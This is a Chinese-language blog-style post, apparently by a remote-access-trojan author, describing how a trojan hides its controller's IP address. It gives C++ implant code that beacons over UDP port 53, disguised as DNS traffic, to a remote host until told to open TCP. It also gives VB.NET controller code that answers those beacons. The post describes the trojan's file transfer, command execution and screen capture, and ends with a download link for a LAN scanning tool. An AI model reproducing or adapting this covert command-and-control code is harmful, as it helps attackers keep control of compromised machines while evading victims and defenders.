木馬也叫RAT,或者叫遠程管理軟件,關于如何隱藏IP地址,應該有不少人在研究,比如ROOTKIT實現文件隱藏、進程隱藏、網絡連接隱藏等等。本人才疏學淺,沒有深入研究過ROOTKIT,只是談談應用層的技術。
下面給出流程圖:
解釋一下流程圖的原理,UDP網絡協議是面向無連接的,和TCP協議的三次握手不同。
用系統自帶的查看網絡連接的命令 netstat -ano 是查看不到遠程IP地址和端口的,用第三方軟件或者工具也同樣查看不到,如以前的冰刃、360網絡連接查看器等等。
下面結合源代碼和效果圖來說明下IP地址是如何隱藏的。
被控端關鍵源代碼(C++):
DWORD?WINAPI?ConnTask::InitUdpConn(LPVOID?lpParameter) { ???????WSADATA?WSA; ????????if?((WSAStartup(MAKEWORD(2,2),&WSA))?!=?0) ???????{ ??????????????printf("[e]WSAStartup?Error!\n"); ???????} ???????boolean?IsUdpConn=true; ???????int?timeout=1000; ? ???????while(IsUdpConn) ???????{ ??????????????try ??????????????{ ??????????????Sleep(UdpTime);?? ??????????????SOCKET?sockClient=socket(AF_INET,SOCK_DGRAM,0); ??????????????setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const?char*)&timeout,sizeof(int)); ??????????????setsockopt(sockClient,?SOL_SOCKET,?SO_RCVTIMEO,?(const?char?*)&timeout,?sizeof(int)?); ??????????????SOCKADDR_IN?addrSrv; ???????????????//域名上線 ??????????????struct?hostent?*host?=?gethostbyname(g_remote_host.c_str()); ??????????????addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct?in_addr*)(host->h_addr)))); ??????????????addrSrv.sin_family=AF_INET; ??????????????addrSrv.sin_port=htons(53); ? ??????????????u_long?ul=1;//代表非阻塞 ??????????????ioctlsocket(sockClient,FIONBIO,&ul);//設置為非阻塞連接 ??????????????string?sendStr?=?"0x4869"; ??????????????sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); ? ??????????????u_long?ulu=0;//代表阻塞 ??????????????ioctlsocket(sockClient,FIONBIO,&ulu);//設置為阻塞連接 ??????????????int?len=sizeof(SOCKADDR); ??????????????char?recvBuf[14]={0}; ??????????????recvfrom(sockClient,recvBuf,14,0,(SOCKADDR*)&addrSrv,&len); ? ??????????????string?recvStr=recvBuf; ??????????????if?(0?==?strncmp(recvStr.c_str(),?"4F70656E546370",14)) ??????????????{ ?????????????????????IsUdpConn=false; ?????????????????????InitTcpConn(); ?????????????????????closesocket(sockClient); ??????????????} ??????????????SYSTEMTIME?sys; ??????????????GetLocalTime(?&sys?); ??????????????printf("udprecv?time:?%02d:%02d:%02d?",sys.wHour,sys.wMinute,?sys.wSecond); ??????????????printf("%s\n",recvStr.c_str()); ??????????????closesocket(sockClient); ????????????? ??????????????}catch(...)??//捕獲任意類型異常 ??????????????{ ? ??????????????} ???????} ???????WSACleanup(); }
控制端關鍵源代碼(vb.net):
?Private?Sub?InitUdp()???????? ?Try ????????????Dim?udpServer?As?New?UdpClient(53)'53號端口是DNS?協議端口,隱蔽性好。 ????????????Dim?groupEP?As?New?IPEndPoint(IPAddress.Any,?53) ????????????While?(True) ????????????????Dim?buffer?As?Byte()?=?udpServer.Receive(groupEP) ? ????????????????Dim?revStr?As?String?=?Encoding.UTF8.GetString(buffer,?0,?buffer.Length) ????????????????Dim?ipaddr?As?String?=?groupEP.Address.ToString() ????????????????Dim?MessageIn?As?New?gDelegate(AddressOf?displayTxt) ????????????????Me.Invoke(MessageIn,?ipaddr?&?"?"?&?revStr) ??????????????????????? ????????????????udpServer.Send(Encoding.UTF8.GetBytes("OpenTcp"),?7,?groupEP) ? ????????????End?While ????????Catch?ex?As?SocketException ????????????Debug.Print(ex.ToString()) ????????????'MsgBox(ex.ToString()) ????????Catch?e?As?Exception ????????????Debug.Print(e.ToString()) ????????????'MsgBox(e.ToString()) ????????Finally ? ????????End?Try ? ????End?Sub
上面的代碼只是用來測試用的,真正的木馬源代碼會有少量的變化。
下面是測試程序效果圖。
被控端:
控制端:
控制端我這里用的是內網的IP地址,用公網IP地址也是一樣的效果。
到了這里有人會問, 最后你這里還是會用TCP 來建立連接, TCP連接就會有網絡連接的遠程IP地址。是的,沒錯,確實能看到網絡連接、IP地址也能查看到。這樣是不是就沒有必要之前的步驟了, 我個人看法是有必要; 為什么? 因為絕大多數木馬都是開機自啟動的, 自啟動后控制端并不一定處于監聽狀態。
可能1個小時,也可能一天或者一個月。只要控制端不處于監聽狀態,被控端就一直查不到遠程的IP地址。還有一個步驟這里說明下,當控制端發送完指令 后,比如文件上傳下載、執行命令、屏幕捕獲等等木馬常用的功能, 當發送完這些指令后, 控制端可以隨時發送斷開 TCP 連接的指令,讓被控端再次進入UDP發送消息的流程中,這樣 IP 地址再次隱藏。
最后是高潮部分。
看下遠控程序的實際效果圖:
作為觀看這篇文章的獎勵, 我有一個小禮物送給大家。
xmap
主要功能:獲取局域網在線IP地址,MAC地址,MAC設備制造商.
使用方法:
方法一:直接命令行下執行xmap.
方法二:xmap 本機IP 本機子網掩碼
注意:參數中間都有空格。
效果圖如下:
下載地址:
鏈接: http://pan.baidu.com/s/1jGBwbkE 密碼: b8p9